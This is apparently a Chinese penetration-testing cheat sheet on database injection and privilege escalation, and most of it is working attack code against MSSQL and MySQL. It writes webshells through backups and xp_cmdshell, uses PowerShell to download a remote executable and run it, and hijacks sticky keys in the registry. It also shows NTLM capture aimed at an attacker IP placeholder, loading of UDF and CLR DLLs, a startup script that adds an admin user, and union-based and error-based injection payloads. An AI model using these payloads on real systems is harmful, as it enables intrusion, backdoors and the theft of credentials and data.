CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
当利用xp_cmdshell时,其实就是调用系统命令来寻找文件
例如:
?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
读配置文件
差异备份的大概流程
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--+
**2.创建表并插入数据**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
**3.进行差异备份**
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+
# 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>
xp_cmdshell GetShell
原理很简单,就是利用系统命令直接像目标网站写入木马
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
这里要注意 <和>必须要转义,转义不是使用\而是使用^
文件下载getshell
当我们不知道一些网站绝对路径时,我们可以通过文件下载命令,加载远程的木马文件,或者说.ps1脚本,使目标机器成功上线cs或者msf
MSSQL提权
存储过程说明
xp_dirtree
用于显示当前目录的子目录,有如下三个参数
directory:表示要查询的目录
depath:要显示子目录的深度,默认值是0,表示所有的子目录
file:第三个参数,布尔类型,指定是否显示子目录中的文件,默认值是0,标水不显示任何文件,只显示子目录
xp_dirtree 能够触发NTLM请求xp_dirtree '\\<attacker_IP>\any\thing'
xp_subdirs
用于得到给定的文件夹内的文件夹列表
exec xp_subdirs 'c:\'
xp_fixeddrives
用于查看磁盘驱动器剩余的空间
exec xp_fixeddrives
xp_availablemedia
用于获得当前所有的驱动器
exec xp_availablemedia
xp_fileexist
用于判断文件是否存在
exec xp_fileexist 'c:\windows\123.txt'
xp_create_subdir
用于创建子目录,参数是子目录的路径
exec xp_create_subdir 'c:\users\admin\desktop\test'
xp_delete_file
可用于删除文件,但是不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)
第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;
第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾;
第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';
第四个参数是Date,早于该日期创建的文件将会被删除;
第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;
xp_regenumkeys
可以查看指定的注册表
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
xp_regdeletekey
删除指定的注册表键值
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
xp_regwrite
描述:
修改注册表
利用条件:
xpstar.dll
修改注册表来劫持粘贴键(映像劫持)
(测试结果 Access is denied,没有权限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
sp_addextendedproc
可以用于恢复组件
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
sp_dropextendedproc
用于删除扩展存储过程
exec sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell
描述:
xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。
利用条件:
拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。
依赖 xplog70.dll
-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
-- 执行 xp_cmdshell
exec xp_cmdshell 'cmd /c whoami'
-- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行
exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'
无回显,也无法进行dnslog怎么办:
通过临时表查看命令执行结果(在注入时,要能堆叠)
CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable
如果 xp_cmdshell 被删除了:
如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复
以mssql2012为例,默认路径为:
C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll-- 判断存储扩展是否存在,返回结果为1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 恢复xp_cmdshell,返回结果为1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
sp_oacreate
描述:
使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。
利用条件:
拥有DBA权限
依赖odsole70.dll
-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
-- 判断SP_OACREATE状态,如果存在返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
-- 启用 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;
-- wscript.shell组件执行系统命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 输出执行结果到指定文件
declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'
-- 利用com组件执行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 利用com组件写文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
-- 利用filesystemobject写vb脚本 (目录必须存在,否则也会显示成功,但是没有文件写入)
declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(这里是文件写入的内容)'
-- 配合 wscript.shell 组件执行
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs]
-- 复制具有不同名称和位置的 calc.exe 可执行文件 (测试未成功)
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe';
-- 移动文件 (测试好像只有 利用写入的VB脚本才能创建)
declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out
exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt'
-- 替换粘滞键
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe';
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'
-- 使用JavaScript创建账户,更改其密码并将新账号添加到管理员组 (测试未成功)
declare @ffffffff0x int
EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT
EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript'
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("123456!@#","");z.setting("AccountType")=3;';
SQL Server Agent Job 代理执行计划任务
描述:
SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。
利用条件:
拥有 DBA 权限
需要 sqlserver 代理 (sqlagent) 开启,Express 版本Sql Server 是无法启用的
-- 开启 sqlagent 服务 (还是没有权限,很纳闷,sa账户登录 还没权限)
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
-- 利用任务计划命令执行(无回显,可以 dnslog)
-- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt
use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';
CLR提权
描述:
从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。 - https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/c
CLR 方式可以利用 16 进制文件流方式导入 DLL 文件,不需要文件落地
https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt
dll的制作可以参考下面的文章
https://xz.aliyun.com/t/10955#toc-12
利用条件:
拥有DBA权限
-- 启用CLR,SQL Server 2017版本之前
sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项
sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的
-- 启用CLR,SQL Server 2017版本及之后,引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限
sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash= <SHA512 of DLL>; -- 将某程序集的SHA512哈希值添加到可信程序集列表中
-- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库
EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON
-- 导入CLR插件
CREATE ASSEMBLY [mssql_CLR]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006607056200000000000
WITH PERMISSION_SET = UNSAFE;
GO
-- 创建CLR函数
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go
-- 利用CLR执行系统命令
exec dbo.ExecCommand "whoami /all";
------------------------------------------------------------------------------------------------------------------------------
-- 格式简化
-- 导入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;
-- 创建CLR函数
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]
-- 利用CLR执行系统命令
exec testclrexec 'cmdexec',N'whoami'
触发器提权
触发器是一种特殊类型的存储过程,它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。
SqlServer 包括三种常规类型的触发器:DML 触发器、DDL 触发器和登录触发器
登录触发器:
登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。
-- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 (user 表 必须存在,且 容易 卡死 因为这个calc在运行 查询就不会停止)
set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [ffffffff0x]
on [user]
AFTER UPDATE as
begin
execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go
-- user 表 update 更新时,自动触发
UPDATE user SET id = '22' WHERE nickname = 'f0x'
SQL Server R 和 Python 的利用
描述
在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本
利用条件:
Machine Learning Services 必须要在 Python 安装过程中选择
必须启用外部脚本
EXEC sp_configure 'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE
重新启动数据库服务器
用户拥有执行任何外部脚本权限
-- R脚本利用
-- 利用 R 执行命令
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
-- 利用 R 抓取 Net-NTLM 哈希
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Python脚本利用
-- 查看版本
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))
-- 利用 Python 执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
-- 利用 Python 读文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权)
AD Hoc 分布式查询允许从多个异构数据源(例如 SQL Server 的多个实例)访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后,登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。
攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。
利用条件
拥有 DBA 权限
sqlserver 服务权限为 system
服务器拥有 jet.oledb.4.0 驱动
-- 修改注册表,关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
-- 开启 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO
-- Until SQL Server 2012
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1
-- SQL Server 2014 or later
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
-- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可.
-- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令.
-- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令.
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")');
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
数据库注入提权总结(二)
mysql提权
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003的环境下才可以成功。
提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof目录的话,就可以来执行任意命令了。
经测试win7虽然存在这个文件目录,但是mysql以管理员权限运行,也会提示写入失败。
UDF提权
UDF说白了就是自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
如果我们添加的自定义函数可以执行系统命令,那么是不是就相当于以mysql的权限去执行系统命令,如果mysql的权限比较高,是不是就可以达到一种权限提升的效果
动态链接库
构建UDF的过程,其实就是调用动态链接库的过程,因此我们首先必须知道动态链接库存放的位置,以及要有合适的动态链接库
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
show variables like '%plugin%'; # 查找插件目录
select @@basedir; # 查找 mysql 安装目录
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
sqlmap 的 UDF 动态链接库文件位置 sqlmap根目录/data/udf/mysql
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
Metasploit的UDF动态链接库文件位置/usr/share/metasploit-framework/data/exploits/mysql
两款工具带的动态链接库是一样的
寻找插件目录
如果不存在的话
select @@basedir; # 寻找MySQL的安装目录
然后通过webshell手动去创建
写入动态链接库
方法一:
当SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
方法二:
当没有注入点时,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
方法三:
当webshell有一定权限时,可以直接通过文件上传的方式,上传对应的dll文件
创建自定义函数并调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select * from mysql.func; 验证是否添加成功
调用该函数,即可以mysql权限执行一些系统命令
删除自定义函数 drop function sys_eval;
UDF Shell
方法一:UDF.PHP
http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF&
方法二:ntunnel_mysql.php
Navicat内置的php-mysq链接文件,上传到目标网站
对navicat进行如下配置即可:
方法三:蚁剑内置插件
启动项提权
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
在windows2003的系统下,启动项路径如下:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
在windows2008的系统下,启动项路径如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通过mysql的话:
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
重启之后可以提权
CVE-2016-6663和CVE-2016-6664
https://www.freebuf.com/articles/web/288941.htmlhttps://lengjibo.github.io/mysqludf/MSSQL
MSSQL基础
系统自带库
MSSQL安装后默认带了六个数据库
4个系统库:master、model、tempdb和msdb;
2个示例库:NorthwindTraders和pubs
系统视图表
MSSQL数据库有安装的自带数据表:
MSSQL权限控制
服务器角色
可以通过如下语句判断:
select is_srvrolemember('sysadmin')
数据库角色
可以通过如下语句判断:
select is_member('db_owner')
MSSQL常用语句
# 创建数据库
create database [dbname];
create database test;
# 删除数据库
drop database [dbname];
drop database test;
# 创建新表
create table table_name (name char(10),age tinyint,sex int);
# 创建新表前要选择数据库,默认是master库
use test;
create table admin (users char(255),passwd char(255),sex int);
# 删除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入数据
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 删除内容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新内容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找内容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
排序&获取下一条数据
MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
使用 <> 来排除已经显示的数据,获取下一条数据,也就是不等于的意思。
使用not in来排除已经显示的数据,获取下一条数据 ,后面可以跟一个集合。
# 使用<>获取数据
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in获取数据
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
MSSSQL注释
单行:--空格
多行:/**/
常用函数
常见注入类型
联合查询注入
1.判断注入点及类型
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此处是字符型注入,需要单引号闭合
2.判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
3.联合查询判断回显点
?id=0' union select 1,2,3--+
4.获取当前数据库名字和版本信息
?id=0' union select 1,db_name(),@@version--+
5.获取所有的数据库名,database在较高版本的SQL Server 中已经变成了动态视图
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
6.获取所有的表名,当information前面没有库名时,默认查询当前数据库,与mysql不同,每个数据库都有单独的information表,可以用master.information_schema.tables 来查询不同数据库的信息
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
7.获取所有的字段名,多加些限定条件方便注入
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
8.获取users表账号密码信息
?id=0' union select top 1 1,username,password from users--+
报错注入
MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入
1.判断注入点
id=1
2.判断是否为MSSQL数据库
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
3.判断数据库版本号
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了,必须是在where后面拼接执行
4.获取当前数据库名
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果
5.判断当前服务器拥有的权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
6.判断当前角色是否为DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件
